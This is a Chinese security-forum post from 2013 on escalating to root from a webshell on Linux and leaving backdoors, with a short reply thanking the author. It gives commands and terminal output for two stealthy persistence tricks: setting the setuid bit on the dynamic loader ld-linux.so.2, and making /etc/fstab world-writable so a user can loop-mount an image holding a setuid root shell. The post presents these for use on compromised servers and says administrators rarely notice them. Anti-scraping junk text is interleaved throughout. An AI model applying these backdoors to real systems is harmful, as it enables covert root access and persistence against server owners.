中国网络渗透测试联盟
标题:
webshell下LINUX提权+留后门
[打印本页]
作者:
admin
时间:
2013-3-8 21:56
标题:
webshell下LINUX提权+留后门
方法一:setuid的方法,其实8是很隐蔽。看看过程:2ezX-BUG-关注前沿信息安全技术研究
& i+ \ e2 X7 \: G* Q" O s6 n
* a1 {$ E9 W% i
[root@localdomain lib]# ls -l |grep ld-linux2ezX-BUG-关注前沿信息安全技术研究
4 J) s) Q; |9 P; g, S
lrwxrwxrwx 1 root root 9 2008-06-07 17:32 ld-linux.so.2 -> ld-2.7.so2ezX-BUG-关注前沿信息安全技术研究
' t: z* f) e8 K* h* ]% Q
lrwxrwxrwx 1 root root 13 2008-06-07 17:47 ld-lsb.so.3 -> ld-linux.so.22ezX-BUG-关注前沿信息安全技术研究
^8 \' ^3 U$ i: C
[root@localdomain lib]# chmod +s ld-linux.so.22ezX-BUG-关注前沿信息安全技术研究
$ I& ]2 b8 l6 B; f0 s2 K0 c" W
[root@localdomain lib]# ls -l |grep ld-2.7.so2ezX-BUG-关注前沿信息安全技术研究
. h4 C2 w4 H" \% E! t% T
-rwsr-sr-x 1 root root 128952 2007-10-18 04:49 ld-2.7.so2ezX-BUG-关注前沿信息安全技术研究
- v3 u+ u7 @7 Y+ D+ u
lrwxrwxrwx 1 root root 9 2008-06-07 17:32 ld-linux.so.2 -> ld-2.7.so2ezX-BUG-关注前沿信息安全技术研究
" n$ s! c5 W3 r+ I; |
[root@localdomain lib]#2ezX-BUG-关注前沿信息安全技术研究
& S0 H+ Z' _( F4 P5 [) b1 @7 @
我们这里给/lib/ld-linux.so.2这个文件(在FC8里,它指向ld-2.7.so这个文件)加了setuid属性。然后我们看怎么利用它。2ezX-BUG-关注前沿信息安全技术研究
7 E o* m; Q8 M& ^
0 n; `% c: S2 {* U9 K' A, P
普通用户登录,测试下权限:2ezX-BUG-关注前沿信息安全技术研究
, |) Q3 ]4 m& s7 P; L* A# ]- d
$ Y O. `9 ]4 ~9 P3 S
[xiaoyu@localdomain ~]$ whoami2ezX-BUG-关注前沿信息安全技术研究
2 Z" T0 p/ y. h) s2 r! [
xiaoyu2ezX-BUG-关注前沿信息安全技术研究
+ K7 I- Y$ F& [8 h9 J
[xiaoyu@localdomain ~]$ /lib/ld-linux.so.2 `which whoami`2ezX-BUG-关注前沿信息安全技术研究
) r1 J$ E; |. N0 L R+ ^& B
root2ezX-BUG-关注前沿信息安全技术研究
3 }, \7 ]& `/ c6 q0 p [
[xiaoyu@localdomain ~]$2ezX-BUG-关注前沿信息安全技术研究
2 b# ~1 ]4 j: S
恩,嘿嘿 root了吧,具体怎么生成root shell,你们自己去想吧,凡事都不要点得太透,对吧。呵呵,可以肯定的一点,/lib/ld-linux.so.2 /bin/sh肯定生成不了rootshell, bash检查euid 和uid,看是否相等...OK,不多说了。2ezX-BUG-关注前沿信息安全技术研究
) p/ A- [& R) B* b3 t
" `5 P. q" k) }5 S; @' d
方法二:2ezX-BUG-关注前沿信息安全技术研究
( x: O- V- j' t& u
% E# }! N- X, P7 }; J. e$ ~
看过程:2ezX-BUG-关注前沿信息安全技术研究
7 [9 Z: }" |. ] K
% n1 O' f+ Q9 b3 q/ k6 e
[root@localdomain etc]# chmod a+w /etc/fstab2ezX-BUG-关注前沿信息安全技术研究
P) k/ }4 l4 O) @4 l. l6 I& T
[root@localdomain etc]#2ezX-BUG-关注前沿信息安全技术研究
9 m+ P8 d; d/ D7 j2 q
8 R# W3 ?) G$ t5 F
这就留好了。此方法比较XXOXX,估计没几个管理员知道。利用方法演示下2ezX-BUG-关注前沿信息安全技术研究
% P9 O$ M/ t5 i
7 P6 C/ a6 \* ]! a6 g
[xiaoyu@localdomain ~]$ ls -l /etc/fstab2ezX-BUG-关注前沿信息安全技术研究
* _) J+ b! l9 S2 u
-rw-rw-rw- 1 root root 456 2008-06-07 17:28 /etc/fstab2ezX-BUG-关注前沿信息安全技术研究
1 M# E5 [5 A* p* d
[xiaoyu@localdomain ~]$ echo 'test /mnt ext2 user,suid,exec,loop 0 0' >> /etc/fstab2ezX-BUG-关注前沿信息安全技术研究
; H9 C. r5 ^5 O# c8 t' S: V) d+ ?$ `% k
- R3 Z- @( s& P' B8 H9 M
然后从本机把一个文件到目标机器上去,这里我们命名为test2ezX-BUG-关注前沿信息安全技术研究
8 p+ B/ P) L8 Q n, j6 G
3 o+ @- F/ f3 F0 f
[xiaoyu@localdomain tmp]$ ls -l test2ezX-BUG-关注前沿信息安全技术研究
5 ~- V. D+ I& c5 T
-rw-rw-r-- 1 xiaoyu xiaoyu 102400 2008-04-20 02:51 test2ezX-BUG-关注前沿信息安全技术研究
a; e( Y x& v& N4 B
[xiaoyu@localdomain tmp]$ mount test2ezX-BUG-关注前沿信息安全技术研究
1 Z, o: c0 S4 Q5 z
[xiaoyu@localdomain tmp]$ cd /mnt2ezX-BUG-关注前沿信息安全技术研究
5 {* o; u, B& t- ~
[xiaoyu@localdomain mnt]$ ls -l2ezX-BUG-关注前沿信息安全技术研究
1 J7 f' t" T- v$ y( B1 r. Q* x& \% `
total 182ezX-BUG-关注前沿信息安全技术研究
& v$ L5 i5 ^4 g, z2 H3 W
drwx------ 2 root root 12288 2008-04-20 05:44 lost+found2ezX-BUG-关注前沿信息安全技术研究
4 G3 J2 q' {. U
-rwsr-sr-x 1 root root 4927 2008-04-20 05:44 root2ezX-BUG-关注前沿信息安全技术研究
1 r* f# B* l6 `; X: g0 Z
[xiaoyu@localdomain mnt]$ ./root2ezX-BUG-关注前沿信息安全技术研究
' g. L4 a, F- Z( \9 M
sh-3.2#2ezX-BUG-关注前沿信息安全技术研究
A2 {* X6 M& E/ c: T1 K+ |; n
看到了吧,从普通用户提升到root了。呵呵。2ezX-BUG-关注前沿信息安全技术研究
8 _) c# {6 ?& V
test这个文件baidu貌似木有上传功能撒,木办法传2ezX-BUG-关注前沿信息安全技术研究
% t) U) I; [ V& B: u
V5 x7 \- v0 `6 |5 q' X5 N
貌似可能有人说本地后门木啥鸟用,但是你要搞清楚:一个webshell里面就可以完成这一切....2ezX-BUG-关注前沿信息安全技术研究
4 b0 i$ Y5 O+ e, l; z
2ezX-BUG-关注前沿信息安全技术研究
& \) b3 o+ i- K. C( U* N# g
7 |( | k' C/ }: L
作者:
wuyu
时间:
2013-3-13 15:10
谢谢分享
欢迎光临 中国网络渗透测试联盟 (https://www.cobjon.com/)
Powered by Discuz! X3.2